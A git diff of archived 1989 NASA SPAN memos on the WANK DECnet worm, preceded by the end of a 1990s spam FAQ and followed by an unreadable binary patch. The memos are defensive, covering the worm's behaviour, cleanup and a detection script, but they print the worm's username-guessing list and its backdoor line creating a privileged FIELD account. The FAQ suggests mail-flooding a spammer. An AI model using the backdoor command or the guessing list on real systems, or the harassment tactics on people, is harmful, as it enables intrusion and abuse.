http://www.usps.gov/ncsc/locators/find-is.html +I believe that the applicable Canadian description can be found at : +http://www.rcmp-grc.gc.ca/html/commerc.htm +And from the Canadian Department of Justice server +(http://canada.justice.gc.ca/): +STATUTES OF CANADA, C, Competition - PART VI OFFENSES IN RELATION TO +COMPETITION - Definition of "scheme of pyramid selling" - Section 55.1 + +DOES ANYBODY HAVE POSTAL INSPECTOR ADDRESSES FOR OTHER COUNTRIES THAT +PONZI / MMF SCHEMES ARE ILLEGAL IN? + +Those annoying 1-900 & 1-800 Sex Phone Ads +============================================ +If the ad says "Procall", it is a large service bureau for 1-900 +numbers in Arizona. When you call a pay-per-call number, there should +be a recorded intro that will give a customer service number. That +*should* connect with a live person. + +I would like to thank Eileen at the FTC for kindly answering my +questions about 1-900 & 1-800 phone numbers. + +Paraphrasing what she e-mailed me : +When a 1-900 number is advertised, the price must also be disclosed +(this may be found at 16 CFR Part 308). + +When calling a 1-800 number that charges, there must be an existing +subscription agreement between the buyer and the seller + +http://www.ftc.gov/ Federal Trade Commission Home Page +http://www.ftc.gov/bcp/telemark/rule.htm Telemarketing Sales Rule +http://www.ftc.gov/bcp/telemark/telesale.htm Telemarketing Sales Rule +http://www.ftc.gov/bcp/scams01.htm Online Scams + +(from the "Online Scams page) + +For More Information +If you have a question or complaint about a suspect online ad or +promotion, contact your commercial service provider. In addition, you +can file complaints with your state attorney general, consumer +protection office or with the Federal Trade Commission (write to: +Correspondence Branch, Federal Trade Commission, 6th St. & +Pennsylvania Ave., NW, Washington, DC 20580). Also, contact the +National Advertising Division of the Council of Better Business +Bureaus, 845 Third Avenue, New York, New York 10022. + +Questions about whether or not an investment sales person is licensed, +or if an offered security is registered, should be directed to the +Office of Consumer Affairs, Securities and Exchange Commission, 202- +942-7040. + +The National Fraud Information Center maintains a toll-free Consumer +Assistance Service, 1-800-876-7060, to provide consumers with answers +to questions about telephone or mail solicitations and online scams. +They also offer information about how and where to report fraud and +give help in filing complaints. + +The Better Business Bureau has a web site at: +http://www.bbb.org +To give feedback, go directly to: +http://www.bbb.org/council/feedback/index.html + + How To Respond to SPAM +=========================== + +Howard reminds us : +Note to all: NEVER followup to a spam. NEVER. Express your +indignation in mail to the poster and/or the +postmaster@offending.site, but NEVER in the newsgroups! + +Karen asks: +But what about the newbies who look at a group, see lots of spam and +ads, see NO posts decrying them, and conclude that ads are therefore +OK? + +Ran replies : +When it gets bad, you'll usually see some "What can we do about +this?" threads. That's a good place to attach a reply that tells +people why it's bad, and what they can, in fact, do. + +Austin Suggests: +At the risk of attracting flames, let me suggest an exception to +Howard's law. A followup is allowed if the following 3 conditions +hold. + 1) The offending article is clearly a SCAM (for instance, the +*Canada* calls with the Seychelles Islands phone # scam) + 2) No one else has followed-up with a posting identifying it as a +scam (in other words, no 'Me too' warnings) + 3) It is unlikely to be canceled soon, either because it seems to +be below the thresholds, or it is in a local hierarchy that doesn't +get cancels, or Chris Lewis is on vacation in the Seychelles Islands. +If all three conditions are met, a followup that X's out the contact +information , severely trims the contents and identifies the post as a +scam is exempt from Howard's law. +Comments? +Bill's and Wolfgang's addition : + 4) Follow-ups should be cross posted to n.a.n-a.m _and_ the groups +of the spam, but Followup-To: *MUST* be set to n.a.n-a.m *ONLY* +_or_ +post a follow-up and *SET* Followup-To: alt.dev.null. +In the first case change + Subject: Important FREE $$$ +to + Subject: SPAM (was Re: Important FREE $$$) +and include the original Newsgroups and Message-ID line, so the +professional despammers will immediately find what you're talking +about. Do not post unless you're absolutely sure that you can do all +that properly. Also 1) - 3) do apply. + +If you see the same article with different Message-IDs in several +groups, collect the _complete_ headers of each article and check +n.a.n-a.m if it's already been reported. If not, start a thread with +Subject: SPAM (was Re: ) in n.a.n-a.m. Include all +of the headers and as much of the body of one article as you see fit. + + + Revenge - What to do & not to do +======================================== + +No matter how much we hate Spam and how much we dislike what the +spammers to our quiet little corner of the Universe known as the +Internet, Spam is not illegal (yet). If you try anything against the +spammers, please * do not * put yourself in risk of breaking the law. +It only makes them happy if you get in trouble because you were trying +to get back at them. + +The reason why spammers use "throwaway" accounts is because they know +the e-mail account will be deleted. They usually provide either +another e-mail address or a name / phone number or postal address so +that prospective "customers" can be contacted. Be sure to complain to +the postmaster of all e-mail names provided to make sure that this +route is inhibited. + + Telephoning someone +====================== + +Calling someone once is fine. If enough people are pissed at the +spammer and they all call the 1-800 number the spammer provides, the +spammer will get the idea (sooner or later) that it is costing them +more in irate people (and most especially loss of business) and it is +not worth it to spam. + +Do not dial any phone numbers more than once from your home. Phone +harassment is * illegal * and you * can * be prosecuted in court for +this. Even tho' *67 prevents your number from being displayed on their +telephone at home if they have caller ID, *57 will give the phone +company the number. If it is a 1-800 number there are two problems. +First they can *always* get your phone number, and secondly it may +*not* be a toll free number. You may be charged for calling a 1-800 +number. + +Likewise, do not call collect using 1-800-COLLECT or 1-800-CALL-ATT +from home, once again this can be traced. + +Austin comments : I would say that calling a listed non-800 number +*once* collect to voice a complaint is not harassment, but justified. +They sent you a postage due message, didn't they? If they don't want +to accept collect calls, they should say so - and if they do, you +should be a responsible person and not do it again. + +AT&T Information for 1-800 numbers is 1-800-555-1212, but that only +helps if you know the company name you are trying to call. Also, you +can try searching for a 1-800 number (you do not have to know the +company name) at : +http://www.tollfree.att.net/dir800/ + or +http://www.tollfree.att.net/cgi-bin/taos_mf.pl?unix (advanced search +options). + +Snail Mailing someone +======================= + +Likewise, one well thought out letter sent to the spammer might help +convince the spammer not to do this again. Especially if the spammer +was part of a corporation that didn't realize the detrimental effects +of spamming the Internet. + +If you decide to deluge the spammers postal address by filling out one +or two "bingo" (popcorn) postage paid cards in the technical magazines +(by circling a few dozen "product info" requests per card & putting on +printed out self sticking labels with the spammers address), or by +putting preprinted labels on postage paid cards that come in the mail +in the little plastic packages, don't organize a public campaign (that +they can point to) against the spammer in the newsgroup. + +Scott also reminds us : +Since this is the "Spam FAQ", I'd like to point this out: You're +basically Spamming the company offering information in a magazine. It +costs companies money, not the one you're spamming. They get a free +pile of junk which is easy to throw out. In other words, this may be +harming third parties more than the intended target. I'm not trying +to be Mr. Nice Guy, just trying to point out an important +technicality. + +You should also read Title 47 of the United States Code, Section 227. +There is a FAQ at cornell.law.edu for the text of the law (gopher or +ftp or http://www.law.cornell.edu/uscode/47/227.html), and you can use +Dejanews to read the USC 47 thread on n.a.n-a.m. to make up your own +mind (it invariably comes up) or you can look at : +http://www.cybernothing.org/docs/code47.5.II.txt + +Organizing a campaign against the spammer in a news group could lead +to the spammer trying to get a cease & desist police order against the +organizers. On the upside note, the spammer will have to try to +figure out where these "anonymous" cards were coming from (especially +hard to do in a big city). + +Of course if someone (every once in a while) reminded the newsgroup of +the spammers address by posting a message (for informational purposes +only, and not to encourage mail bombing), I don't see how that could +be considered harassment ;-). + +I am not a lawyer, and all of the above could be wrong. 80% of the +Internet is bull... Free advice is worth every penny you paid for it +:-). + +------------------------------------------------------------------ +Do not meddle in the affairs of wizards for they are easily angered. +E-Mail - gandalf@digital.net - Gandalf The White O- Ken Hollis +WWW Page - http://digital.net/~gandalf/ +WWW Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html +WWW Trolls crossposts - http://digital.net/~gandalf/trollfaq.html + + diff --git a/textfiles.com/internet/span01.vir b/textfiles.com/internet/span01.vir new file mode 100644 index 00000000..a0945d36 --- /dev/null +++ b/textfiles.com/internet/span01.vir @@ -0,0 +1,418 @@ +============================================================================= +INTRANETWORK MEMORANDUM SPAN MANAGEMENT OFFICE +============================================================================= + 19-OCT-1989 + +TO: ALL SPAN ROUTING CENTER MANAGERS AND REMOTE-NODE MANAGERS + +FROM: RON TENCATI - SPAN SECURITY MANAGER + GODDARD SPACE FLIGHT CENTER CODE 630.2 + GREENBELT, MD. 20771 + (301)286-5223 + +SUBJ: INFORMATION REGARDING THE DECNET WORM AND PROTECTION MEASURES + + ---------- +The following information covers several aspects of the "WANK" DECnet worm +which was released into the "DECnet Internet" earlier in the week. + +Information contained in prior reports written by John McMahon of GSFC and +Kevin Oberman of LLNL was used in preparing report. The assistance of +Digital Equipment Corporation is also gratefully acknowledged. + +Previous messages regarding this worm appearing on various mailing lists +have indicated that system managers with questions or infected nodes should +call other organizations. + +For clarification, any SPAN-connected system that believes itself to be +infected, or attacked should contact ONLY the SPAN management at Goddard +Space Flight Center, Greenbelt, MD. The security effort is being +coordinated by this group and all reports should be directed there. The +contact number is (301)286-7251 or (301)286-5223. Electronic mail should be +sent to NSSDCA::TENCATI or NSSDCA::NETMGR only. Do not send infection +reports to any other node on SPAN. + +HEPnet sites should contact FNAL::DEMAR. + + +BACKGROUND +---------- + +The worm's mission is to propagate itself randomly across the network, +to seek out systems with poor security, and to establish itself in a +priviliged account whereupon it will modify the system's SYS$ANNOUNCE +banner to the following message: + + + + W O R M S A G A I N S T N U C L E A R K I L L E R S + _______________________________________________________________ + \__ ____________ _____ ________ ____ ____ __ _____/ + \ \ \ /\ / / / /\ \ | \ \ | | | | / / / + \ \ \ / \ / / / /__\ \ | |\ \ | | | |/ / / + \ \ \/ /\ \/ / / ______ \ | | \ \| | | |\ \ / + \_\ /__\ /____/ /______\ \____| |__\ | |____| |_\ \_/ + \___________________________________________________/ + \ / + \ Your System Has Been Officically WANKed / + \_____________________________________________/ + + You talk of times of peace for all, and then prepare for war. + + --------- +We don't currently see that the WORM is destructive, BUT it wastes +resources, and may result in denial of service by locking out priviliged +users or causing non-infected nodes to consume disk space storing all the +audit records from the failed access attempts. + +The worm attempts to establish itself onto a system by exploiting various +weaknesses in the DECnet environment. Some of these weaknesses have been +addressed by previous SPAN directives and guidelines. Systems that have +implemented these guidelines are not at risk. + +A random number generator is used to pick the next node the worm will try +to infect. The worm contains an internal list of 82 canned usernames that +it will try against a system. + +In addition, it attempts to copy the file RIGHTSLIST.DAT from the selected +target node. This file is normally protected W:R. If this file is +successfully copied, a list of usernames specific to the target system will +be generated and some subset of those will be appended to the "canned" +list. The candidate words the worm uses whether or not it was successful +at accessing RIGHTSLIST.DAT are the following: + + ACCOUNITING ACCOUNTS ALLIN1 APPLETALK ARCHIVE + BACKUP CADCAM COGNOS CRAYSTN CUSTOMER + DDSNET DEC DECNET DEFAULT DEMO + DFS$DEFAULT DIGITAL DNS$SERVER DQS$SERVER ETHERNIM + EXOS FIELD GAMES GUEST HASP + IBM INGRES INVENTORY ISSYS IVP + LIBRARY LN03_DLAND LPS$SERVER MAC MAIL + MAILER MANAGER MANUALS MASS11 MBMANAGER + MIS MRGATE MANAGER NETNONPRIV NETPRIV + NEWSMGR NOTES$SERVER OPER OPERATOR ORACLE + OSI PCAPP PCCOMMON PLUTO POSTMASTER + RDBVMS$REM RHM SECURITY SHUTDOWN SNACSV + SPEAR SPM SRS STUDENT SUPPLIES + SYSINF SYSTEM SYSTEST SYSTEST_CLIG TAPESYS + TCP TELEX TEMP TEST TRAINING + TRANSFER USER USER1 USERP VAXNET + VAXSIM VTX VXSYS + +The PASSWORDS tried against the set of accounts MAY be the username +ONLY, OR other passwords may be tried (such as DIGITAL, PSIPAD, MANAGER, +etc) apparently depending on the version of the WORM. A bug in the worm +prevents it from testing the null password as previously suspected. + + -------------- +[The following section provides information relating to the behavior of +the worm. This information was primarily supplied by Kevin Oberman of +LLNL and John McMahon of GSFC] + -------------- + +1. The program assures that it is working in a directory to which the owner + (itself) has full access (Read, Write,Execute, and Delete). + +2. The program checks to see if another copy is still running. It looks for a + process with the first 5 characters of "NETW_". If such is found, it deletes + itself (the file) and stops its process. + + NOTE + + This check is done using the F$GETJPI system service. The results + vary depending on the amount of priviliges the account possesses. + Non-priviliged accounts which are penetrated will only be able to + return information about their own UIC, so multiple copies of the + worm could be running simultaneously under different usernames. + + +3. The program then changes the default DECNET account password to a random + string of at least 12 characters. + +4. Information on the infected node and account/password used to access the + system is mailed to a central collection point on SPAN. + +5. The process changes its name to "NETW_" followed by a random number. + +6. It checks to see if it has SYSNAM priv. If so, it defines the system + announcement message to be the WANK banner. + +7. If it has SYSPRV, it disables mail to the SYSTEM account. + +8. Also if it has SYSPRV, it modifies the system login command procedure + (SYLOGIN.COM) to APPEAR to delete all of a user's files. (It really does + nothing.) + +9. The procedure then scans the accounts logical name table for symbols + which contain directory specifications. Each directory located is searched + for command procedures within it protected (W:RWED). Any such procedures + have code inserted at the top which tries to modify the FIELD account to a + known password with login from any source and all privs. This is a + primitive virus, but very effective IF the procedure should be executed by + a priviliged account. + +10. It proceeds to attempt to access other systems by picking node numbers + at random. It then used PHONE to get a list of active users on the remote + system. It proceeds to irritate them by causing the PHONE object to send + them a one-line "fortune cookie" type message. The appearance of this + message does not indicate a penetration attempt on that node, more + appropriately, it indicates an "irritation attempt". + + NOTE + If your site receives these PHONE messages the source node + information can be found in the NETSERVER.LOG files in your DECnet + default account. + +11. The program tries to access the RIGHTSLIST.DAT file as previously + described earlier. + +12. It then steps through the list of usernames it has built and uses FAL + to validate the candidate userid/password combination. If a password is + guesses, the worm copies itself over to the target system and starts itself + via the SUBMIT/REMOTE feature of VMS. + +13. When the worm finishes with a system, it picks another random system and + repeats (forever). + + + +SECURITY GUIDELINES TO STOP THE SPREAD OF THIS WORM: +==================================================== + + +1. It is IMPERATIVE that all systems protect or remove the DECnet TASK 0 + object to prevent reoccurrance of this worm, OR MORE SERIOUS ATTACKS + OF THIS KIND IN THE FUTURE! + + The TASK object can be secured by either of the following methods: + +Method 1): + Issue the command: + + NCP> CLEAR OBJECT TASK ALL + + after the network is started up. This command can also be + inserted into the procedure SYSTARTUP.COM (SYSTARTUP_V5.COM on V5.x + systems) after the call to STARTNET.COM. In addition while the system + is running, this command must be executed EACH TIME the network is + restarted. + +Method 2): + Issue the following commands ONCE: + + NCP> SET OBJECT TASK USER DECNET PASSWORD + NCP> DEFINE OBJECT TASK USER DECNET PASSWORD + + This causes a login failure to be generated whenever the TASK + object is accessed. Once done, this change will be permanent. + + NOTE + We have received one report that TASK 0 is required + for DECwindows. Read your documentation! + + +2. Under NO circumstances it is acceptable for an account to have a + password the same as the username. Passwords (passPHRASES) should be + created so that they are difficult to guess, multi-word phrases are + preferable. As a precaution, we recommend that all passwords be changed. + Additionally, system managers may choose to revalidate ALL accounts. + + If a system had the DECNET TASK 0 protected as above, the DECNET account + protected against SUBMIT/REMOTE (described below) and no user had their + userid as their password, it was immune to this WORM. As a result, the + number of nodes actually INFECTED by this attack is relatively small. The + number ATTACKED however, is large. + +3. NETWORK ACCOUNTS + To protect against the SUBMIT/REMOTE attack, run AUTHORIZE and make sure + that all network account flags are set to NOBATCH, NODIALUP, NOLOCAL, + and NOREMOTE. + +4. FIELD ACCOUNT + Make sure the FIELD ACCOUNT does not have the password FIELD. DISUSER the + account. You must SEARCH all .COM files for a "field/remote/dialup". If + the search shows it is in .COM files, They have a trojan horse appended + to the files. When the .COM file is executed, This Trojan horse will try + to reset account FIELD to /NODISUSER and password to FIELD. You should + either delete the corrupted .COM file and obtain a good one elsewhere, or + examine the file and remove the affected lines of the command procedure. + +5. WORM FILES + The WORM source files are W.COM or a single alphabetic character (C or D) + followed by 4 or 5 numeric characters. (Cnnnnn.COM), ("nnnn" represents a + random number). The WORM will start a process or processes running. + These processes are named in format NETW_nnnn, and should be deleted. + PHONE_nnnn may also be running as the WORM utilizes the PHONE object in + an attempt to send a message to a user on another randomly selected node. + +6. ALARMS + Some alarms generated by the WORM are related to PHONE.EXE and FAL.EXE. + The majority of the alarms are login failures as the WORM attempts to log + into specific accounts. + + We recommend that alarms be set immediately for logins, logouts, breakin + attempts, modifications to the system and net UAF's, and to changes to + user and system passwords. + + +DISCOVERY AND CLEANUP +---------------------- + + 1. Log into a "privileged account" + $ SHOW SYSTEM + Look for NETW_dddd (dddd represents 4 or 5 random digits) + IF NETW_dddd is found, note the process ID and do: + $ STOP PROCESS/ID=NETW_dddd + + The command procedure included below can be used by system + managers to perform this function in the background. It is + recommended that this procedure be run for the next week or + so until the worm is killed-off. + + 2. Check the protection on all command procedures. If any are + (W:REWD), check for infection. There should be two versions. The + older one should be OK unless multiple infection has occurred. + Generally the oldest version is OK but this is not guaranteed. + + An easy method is to execute the command on every disk: + + $SEARCH dev:[000000...]*.COM;* PASS=FIELD + + Any infected files will contain the line: + + $mcr authorize add field/remote/dialup/network/batch/defpriv=all + /priv=all/flag=(nodisuser,nocaptive,nopwd_expire)/pass=field + + 3. Redefine or deassingn the SYS$ANNOUNCE logical name. Replace + the correct SYS$ANNOUNCE messages. (Note the initial value of + SYS$ANNOUNCE to identify the infected user account and location of + the false announce message files (on infected systems only). + + 4. Clean up SYSLOGIN.COM. Remove the bogus file deletion routine. + + 5. Search all login directories for files named Cddddd.com or + Dddddd.com. Dddddd.COM is a dummy file which precedes the actual + infection. Cddddd.COM is the worm itself (normally both are + deleted by the worm). + + 6. If your node is attacked or penetrated, please contact the SPAN + Management immediately via MAIL or by phone. Send all messages + to either NSSDCA::TENCATI or NSSDCA::NETMGR. If you do not have + NSSDCA defined in your database, use the node number 6277::. We + need to know which nodes have the worm running on them so we can + coordinate cleanup measures with the appropriate personnel. + + NOTE + A tell-tale sign that your node was ATTACKED will be multiple + login failure reports in your operator.log file. + + + 7. DO NOT DELETE ANY OF YOUR LOG FILES OR AUDIT TRAILS. THIS + INFORMATION MAY BE REQUESTED OF YOU LATER IF THIS MATTER IS GOING + TO BE PROSECUTED. + + +PREVENTION MEASURES +------------------- + + 1. Ensure all user accounts have good password management. (No + "user user" or null passwords.) + + 2. No world READ command procedures in user or priviliged + accounts. + + 3. No TASK objects. + + 4. Do not use the the account names as the password on network + accounts. (Use the V5.2 approach - separate object userid's) + + 5. Ensure all network accounts are set NOBATCH, NOLOCAL, NODIALUP, + and NOREMOTE and have a PRCLIM of 1. + + 6. Audit all changes by AUTHORIZE. Analyze audit trail for changes + to the FIELD account. + + 7. Place an ALARM ACE on SYS$MANAGER:SYLOGIN.COM;* for + WRITE+DELETE+SUCCESS access. Enable ACL auditing. Analyze the + audit trail for change to SYLOGIN.COM. + + 8. Make sure ACCOUNTING and OPCOM are running and proper alarms + are set. + + 9. Protect RIGHTSLIST.DAT against World access. Alternatively + move or rename it and define the logical symbol RIGHTSLIST + to the new file. ($DEF/SYS/EXEC RIGHTSLIST ) + This will limit the ability of the worm to determine + actual valid usernames. +---------------------------------------------------------------------------- + +The following command procedure was written by John McMahon at GSFC. It +can be run as a batch job under a priviliged account. This procedure +searches all processes on a running system to determine if the worm process +is present. If detected, the worm is deleted. + + +---------------------------- ANTIWANK.COM ---------------------------------- +$! +$! Antiwank.Com - This program performs two functions. It kills any +$! copy of the worm currently running (any process starting with NETW_ +$! in it's name) and disguises itself as a copy of the worm to help +$! prevent new copies from being created. +$! +$! This program should be submitted to a batch queue under the username +$! SYSTEM. It requires WORLD priv to check the process names on your +$! CPU. It runs continuously, but uses little overhead. +$! +$! This program uses the process name "NETW_AntiWank". It should not be +$! confused as a copy of the worm program itself (which uses +$! NETW_randomnumber). +$! +$! The system manager should add additional userids to the line +$! beginning with SEND_MAIL_TO. If the program detects the worm, +$! it will send a detection message to the userids in SEND_MAIL_TO. +$! +$! John McMahon +$! NASA/GSFC CODE 630.4 +$! +$! 18-OCT-1989 16:11:56.21 +$! +$! SPAN: SDCDCL::FASTEDDY +$! Internet: Fasteddy@Dftnic.Gsfc.Nasa.Gov +$! Bitnet: Fasteddy@Dftbit +$! +$! Phone: 301-286-2045 +$! +$ Set NoON +$ AntiWank_Name = "NETW_AntiWank" +$ Process_Name_Prefix = "NETW_" +$ Send_Mail_To = "SYSTEM" +$ Set Process/Priv=(World) +$ Set Process/Name="''AntiWank_Name'" +$ Start: +$ Context = "" +$ Pid_Loop: +$ Check_Pid = F$Pid(Context) +$ If Check_Pid .Eqs. "" Then Goto End_Pid_Loop +$ Check_Prcnam = F$Edit(F$Getjpi(Check_Pid,"PRCNAM"),"TRIM") +$ Write Sys$Output "Process Name: ",Check_Prcnam +$ If Check_Prcnam .Eqs. AntiWank_Name Then Goto Pid_Loop +$ If F$Extract(0,5,Check_Prcnam) .Eqs. Process_Name_Prefix Then - + Gosub Action_Routine +$ Goto Pid_Loop +$! +$ End_Pid_Loop: +$ Write Sys$Output F$TIME()," ANTIWANK is still working for you" +$ Wait 00:10:00 +$ Goto Start +$! +$ Action_Routine: +$ Write Sys$Output "Action Routine" +$ Username = F$Getjpi(Check_Pid,"Username") +$ Stop/Id='Check_Pid' +$ Mail NL: 'Send_Mail_To' - + /SUBJECT="Worm Terminated ''$Status' ''Check_Prcnam' ''Check_Pid' ''Username'" +YES +$ Return +---------------------------END OF ANTIWANK.COM------------------------- + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/internet/span03.vir b/textfiles.com/internet/span03.vir new file mode 100644 index 00000000..96a7974e --- /dev/null +++ b/textfiles.com/internet/span03.vir @@ -0,0 +1,178 @@ +============================================================================ +INTER-NETWORK MEMORANDUM SPAN MANAGEMENT OFFICE +============================================================================= + 30-OCT-1989 + +TO: ALL SPAN SYSTEM MANAGERS + +FROM: SPAN MANAGEMENT OFFICE + GODDARD SPACE FLIGHT CENTER CODE 630.2 + GREENBELT, MD. 20771 + (301)286-7251 + +SUBJ: SECURITY GUIDELINES TO BE FOLLOWED IN LATEST WORM ATTACK + + ---------- + +A variant of the 16-Oct worm has been restarted on the DECnet internet. +This worm is a slightly modified copy of the original worm that infected +the networks last week. The method of attack is identical to the last +except that this version calls itself OILZ_nnnn instead of NETW_nnnn. + +This variant of the worm changes the password of the account it +penetrates unlike its predecessor which only changed passwords if it +penetrated a privileged account. + +The effect of this modification is that if the DECNET account is breached +(Userid DECNET, Password DECNET), changing of the password will disable +future *INBOUND* network connections to the node, effectively removing it +from the network. THIS IS THE PRIMARY WAY IN WHICH THE CURRENT WORM IS +ACHIEVING SUCCESS. + +The previous precautions and guidelines issued by this office are still +applicable and valid. The following 5 procedures should be implemented on +all DECnet nodes to ensure that the worm cannot gain access to your node. + + ---------- + +1) The current worm has been modified to attack the default DECNET account + first. It attempts to enter the default DECNET account with user=DECNET + and password=DECNET. This is the default set up. IT MUST BE CHANGED. + To change it, two things have to be done: + + $MCR AUTHORIZE + UAF> mod DECNET /pass= !anything BUT "DECNET" + UAF> mod DECNET /flag=lockpwd/nobatch/prclm=0 + UAF> exit + + Then, to match default access control information in the executor (so + MAIL and NML will still work): + + $MCR NCP + NCP> set executor nonpriv pass !NOTE this MUST match what + you set in AUTHORIZE! + + The above changes will not effect operation of your system, but will + prevent the worm from entering via your default DECNET account. + +2) DISABLE THE TASK OBJECT + + The TASK Object MUST be removed from your DECnet database. + There are two methods by which you can accomplish this: + + 1. In SYSTARTUP.COM/SYSTARTUP_V5.COM, after the call to + @SYS$MANAGER:STARTNET, insert the following line: + + $ MCR NCP CLEAR OBJECT TASK ALL + + THIS COMMAND MUST BE EXECUTED *EACH TIME* THE NETWORK + IS STARTED OR RESTARTED. DOING IT AT BOOT-TIME ALONE + IS NOT SUFFICIENT. + + 2. Instead of option 1, the following commands can be issued + ONCE from a privileged account to permanently change the + information in the DECnet database for the TASK object: + + $ MCR NCP SET OBJECT TASK PASSWORD + $ MCR NCP DEF OBJECT TASK PASSWORD + + + If for some reason you MUST have a TASK object, please call the + SPAN network office at (301)286-7251. + + +3a) Protect SYS$SYSTEM:RIGHTSLIST.DAT so that it is has no protection bits + set for the WORLD category of users. This is how the attacking worm + determines who your valid users are. There is some discussion about + this approach, it apparently works on 4.7 thru 5.1-1 systems, reports + from systems testing this approach say it breaks under V5.2. So there + are 2 other approaches, set an ACL on RIGHTSLIST.DAT disabling NETWORK + access, or using a logical name to point to RIGHTSLIST. + + **NOTE** + THE ACL APPROACH MAY REQUIRE A REBOOT TO PURGE THE OLD RIGHTSLIST.DAT + ON V4.7 SYSTEMS. + +3b) Place an ACL on RIGHTSLIST.DAT to prevent network access of your user names. + For V5.X: + + SET ACL SYS$SYSTEM:RIGHTSLIST.DAT /ACL=(IDENTIFIER=NETWORK,ACCESS=NONE) + + Version 4.X systems have a more difficult time of it since the file + locked by other images. The suggested way of protecting it is from + the SYSTEM account to: + + SET DEFAULT SYS$SYSTEM: + COPY RIGHTSLIST.DAT *.TEMP + SET ACL RIGHTSLIST.TEMP /ACL=(IDENTIFIER=NETWORK, ACCESS=NONE) + RENAME RIGHTSLIST.TEMP *.DAT + + On completion, make sure that the protection is correct (W:R). + + You should purge the file as soon as possible. However, you may + not be able to purge until the system has either been rebooted or + OPCOM has been stopped and restarted. + +3c) The logical name approach relies on "hiding" RIGHTSLIST.DAT and defining + a system wide logical name that points to it. Network access does not + translate this logical name. + + $RENAME SYS$SYSTEM:RIGHTSLIST.DAT any_old_file_you_want.dat + + $DEFINE/SYSTEM/EXEC RIGHTSLIST any_old_file_you_want.dat + + As long as the logical symbol RIGHTSLIST points to the *real* + file, it doesn't matter what you name it, or where it is. + The worm EXPECTS it to be in SYS$SYSTEM:RIGHTSLIST.DAT. + +4) If possible, verify that none of your users are using their username for + their password. Chances are that if they were, you'd have a worm + running on your node right now though. The SPAN office has a toolkit + available which contains a program that can be used for this purpose. + Contact NCF::NETMGR for details. + +5) Place an ACL on the DEFAULT BATCH Queue of Version 5.x systems. + + SET ACL SYS$BATCH/OBJECT=QUEUE /ACL=(IDENTIFIER=NETWORK, ACCESS=NONE) + + ACLS are not supported on batch queues in Version 4. It is + suggested remote Batch be disable by inserting the following command as + the first command in SYS$SYSTEM:NETSERVER.COM, after the label LOOP: + + $ DEFINE SYS$BATCH NO_SUCH_QUEUE + + This will prevent the command from ever getting the correct queue. + + ---------- +DEC also recommends that certain SYSGEN parameters be modified in +order to thwart an attack technique the worm utilizes. The SPAN +management supports these suggested modifications: + + $MCR SYSGEN + USE CURRENT + SET LGI_BRK_TERM 0 + SET LGI_BRK_TMO 3600 + SET LGI_HID_TIM 86400 + WRITE ACTIVE + WRITE CURRENT + EXIT + $ + +If you have been attacked by this worm, please send the node name/number +that the attack came from and if possible, the username of the attacker. + +Send this information your local Routing Center Manager and to NCF::NETMGR +on SPAN, 6277::NETMGR on HEPnet/Other nodes on the DECnet Internet. + +The SPAN Management office also has a new version of ANTI_WANK.COM which can +be started in a node's batch queue to search-out and report/destroy worms +which may be running on a node. For copies of this procedure, send mail to +NCF::NETMGR. + +REMINDER - The NSI Networking Users Group (Formerly SPAN Data System Users + Working Group - DSUWG) is meeting at Goddard Space Flight Center + on NOV 13-15. All members of the SPAN/HEPnet community are + invited to attend. For information, contact Valerie Thomas, SPAN + Project Manager at (301) 286-4740, or send mail to NCF::THOMAS. + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/internet/span04.vir b/textfiles.com/internet/span04.vir new file mode 100644 index 0000000000000000000000000000000000000000..e2dd6a148cdf4388d7ebe2e61d005185fabffd73 GIT binary patch literal 4551 zcmb_g+iu%P65VG4{DFNc7{S60bnzulG6pSc)WvjS|M9swgC^z{MenvJ}yiroug+gDT1g-TQP!VYP;&f%bD&q*vbahx05GK;KO7ijwhr7-wr;Vx#Tk;l4qbr~R)!7{usVoyY@UkdW zhWxCHhx!bNUPzf8xIhm!^hSA0Yh;G1D@LP2j#$Efg|$t)nO zeuICZKfJ>4C%dKi_ABX?dLj8$MpcOoD0m?v4oa6vr0bNRYA=Y6(-2n?YELO1*EKDq zmf1W-ZVsY>OPuw+vs5hUL8U-nD!JtQ#}H#;K^JH3Q7>$t{qpe_Iy<{MJ-<4?*jd;! z<~Q!jt)5k#Nb)h8pNu^~$NzA7h`(TTmfy1R+V86EX$Hy||)V*y0WxHitzgU!FF0?d# zEGfy+=Kv{#m}>?XYgTZbAJc*{%$a?~2wJ=ZS+SiQ6;FT=gM}oI(uzCe=rBr~kR$YB zy!VVzO=H{IN8F%ITzd{P?3hJuj4*}X07ltn5_h)=1P`(=5?0_|&OM9X1z01gHHnj0 zVPmdJP|q`i7f-%2m+cH87&xeBj6HR~p5K&0?wYs(0oNMG z$DB3SDWvfT{j2g6q!=O?(0rU=xwLMYaJGp(wl&5wE$#5bq(CK65*~zTeq^ppo@KfL z8(}OUL!e6(7N>#}2c!FbFq(m_6+MfzJ_>8H!=d+f;(LR)2WUNr4(v7a?mD+#2uSu# z9hl&E*apO-mDH{M3L$vGM2;-lJqHIgsBj&#x!$^mAFdlMCFU$weMi%>D1gBX7!XUT zYkJ?Z$}AV)LXOs2;*Z=QxkLrF%LWSbj{186^mCIQOnjQi3<`k)G~hn3Z#Qp0?9Z)! zP8gE#*c=TB5tZr2j_-Q(H2vP-ZChon5FyUxws##XN&pP*7)XG6^aEV$R3%Ix^NqX1tdPv;e1j zC8H;k!h>y*gdBwH3h*gd$rTCI6PU>Ih;1Q;*}*>UA}|yr4GO4bc@Qvs41vZ`F!<6C zQ6|fkGA&-aWrZBi^(u|`CL#8s1ZZ1UzjgcHcwz5TizfaMQMaIdLw^Eo)qlX3L#Mds z``%zSrbQxCh!krc9R?N<;P!SqSJtO?`{kw%N-C~v|Ayk6gTpJqd zF{J`~CAsU|jKWW}P6Y;etM1R21Ox6M7mxkHfaZYqlT|^ugk*e#`3*I99hOM=zM-`Q zsqziPBEhEDcB0h?%_WD2ufYq7?K)dOUy^cVett8>U~L!+W5iqv;KR+vXqW@YA)z}H z^#p6^9nF|3+}%Ju5G-qqv3_uaTkCBznIH*uExhh{o+;4I-b8KjGR@aUhBhQ}m$fnO zCzVKb0}Cscf5Sx?%Dw^}zK6!E!Nj>3n&sdE0Klxh?0ns=z4ZQbc|%9{6>e7C|HvAg zH*$Pu1Dl&M_Y>Y-X96J{%A9Wl4Ju!G{}aCjy}PTc&<}d}TL5+6pMUtU{pvcPAl$2P 